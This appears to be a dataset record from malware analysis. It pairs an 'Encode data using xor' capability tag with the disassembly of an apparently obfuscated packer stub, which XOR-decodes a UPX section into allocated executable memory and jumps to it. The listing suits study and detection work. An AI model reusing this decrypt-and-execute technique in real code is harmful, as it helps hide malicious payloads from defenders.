Function at 0xa789ac
Capabilities:
Encode data using xor

Disassembly:
pushal
mov esi, 0x4fb870ba
sub ecx, ebx
add ecx, ebx
mov ebx, ecx
popal
not ecx
dec ecx
and ebx, ebx
mov edx, 0
mov ebx, edi
add eax, 0x8bef78ff
sub esi, eax
mov esi, eax
mov ecx, ebx
add esi, eax
or esi, esi
mov edi, ecx
sub eax, 0xe98386f2
and esi, eax
inc edx
mov esi, eax
inc eax
cmp edx, 0x100fb1f
jne 0xa789c3
sub esi, eax
mov esi, eax
sub esi, eax
mov ebx, ecx
and ecx, ecx
and ecx, ecx
mov ecx, 0xa78796
add edx, edx
add edx, 0x75b34886
or ebx, ebx
mov esi, 0xa7898a
add ebx, 0x4a5daf5a
and ebx, ebx
inc ebx
mov edi, dword [ecx]
sub edx, 1
add eax, 0xaf3ab1d5
and edi, 0xff
mov ebx, 0x678644b5
mov edx, 0x9f30c6ae
xor dword [esi], edi
inc eax
mov eax, ebx
not eax
add esi, 1
or eax, eax
mov eax, 0xc2d20fb6
mov edx, ebx
add ecx, 1
add edx, 1
sub edx, 1
cmp esi, entry0
jl 0xa78a18
sub edx, ebx
sub edx, 0xb41a952c
dec eax
inc edx
dec edx
mov ecx, 0xa841dd99
mov ecx, ebx
and edx, ebx
mov edi, 0xa7898e
add edx, 0x86a389c2
or edx, edx
mov edi, dword [edi]
or ecx, esi
inc edx
mov edi, dword [edi]
not ebx
inc edx
push edi
mov edx, ecx
mov ebx, esi
mov edi, 0xa7898a
add ecx, 0xe53f1eaf
sub ebx, ecx
mov edi, dword [edi]
add edx, 0x83f7528a
add edx, 0x6dd73691
mov edi, dword [edi]
sub ebx, 0xaa9b5a0f
sub ebx, 1
and edx, edx
push 0xa78992
add esi, 0x72d29d04
not esi
call edi
or ecx, ecx
and ecx, ebx
sub edx, ecx
pop edi
add esi, 0xb46c910e
or ecx, edx
push 0xa7899f
and ecx, ecx
not edx
dec edx
sub esp, 4
mov dword [esp], eax
sub ecx, 0x79fb2658
mov esi, ecx
call edi
not esi
add ebx, 0x4aef23b0
mov ecx, 0x1d10b06d
sub esp, 4
mov dword [esp], 0x40
sub edx, ecx
sub esi, 1
sub esi, 0xdf7a5322
push 0x3000
sub ebx, 1
and ebx, esi
or ebx, esi
push 0x2000055a
dec ecx
sub esi, 0x4038aa30
sub esp, 4
mov dword [esp], 0
inc ebx
add edx, 1
or edx, esi
call eax
and esi, ebx
mov edx, esi
mov edx, ecx
add eax, 0x200004af
add edx, 0xb40961f
mov ebx, 0xa3b51002
mov edx, ebx
mov edi, 0xf028859b
inc ebx
add ebx, 1
mov dword [eax], edi
add ecx, 1
inc ebx
mov edi, dword [eax]
and ecx, ebx
add ebx, ecx
dec esi
cmp edi, 0xf028859b
je 0xa78b96
mov eax, 0
mov dword [eax], edx
add ecx, 0x695c4233
dec edx
and edx, esi
mov ecx, 0x7e602abf
add esi, ebx
dec esi
dec ebx
inc ebx
mov edi, section.UPX1
not ecx
sub ecx, 0x567ace84
mov esi, 0xa78795
sub ecx, 0xa28c9b00
sub ecx, ebx
sub ebx, 0x65e45de4
mov edx, 0
sub ebx, 0xf9d9d5b6
inc ecx
not ecx
mov eax, 0xa78796
inc ecx
add ecx, 0x3d8b9aa2
and ebx, ecx
lea eax, [eax + edx]
dec ecx
and ecx, ebx
add ecx, 0xfd633d8e
mov eax, dword [eax]
mov ecx, ebx
mov ebx, ecx
mov ebx, ecx
and eax, 0xff
inc ecx
mov ecx, 0x6d1db0af
add ebx, 0x6753650e
inc edx
mov ecx, ebx
not ecx
cmp edx, 0x1f4
jne 0xa78c1d
mov edx, 0
inc ecx
or ecx, ecx
not ebx
sub ebx, ecx
or ebx, ecx
add ebx, 0x3fa3fa60
xor dword [edi], eax
not ebx
and ebx, ebx
mov ecx, 0x4c117db0
add edi, 2
add ebx, 0xdc33022f
add ecx, 0x720638e5
cmp edi, esi
jl 0xa78bd7
sub ecx, ebx
sub ebx, ecx
mov ecx, 0x2a7ed995
or ebx, ecx
mov edx, section.UPX1
mov ebx, 0xb2c39c44
add eax, 1
mov esi, section.UPX1
mov eax, ebx
add ebx, ebx
mov edi, 0xa78795
inc ebx
not eax
not ebx
mov ecx, 0
or ebx, ebx
mov eax, ebx
or eax, eax
mov cl, byte [esi]
add ebx, 0xa7e9f117
mov ebx, eax
mov byte [edx], cl
mov ebx, 0x6213d0f7
sub eax, 0xd3523963
or eax, eax
inc edx
not ebx
sub eax, 0x6867dd7c
sub eax, ebx
add esi, 2
dec eax
sub eax, ebx
cmp esi, edi
jle 0xa78c8a
mov eax, 0x3e064d3
add ebx, ebx
add ebx, 1
sub ebx, ecx
mov ecx, 0x2dbc89f7
add ebx, 1
push 0x8dc6a0
inc ecx
add ebx, ebx
ret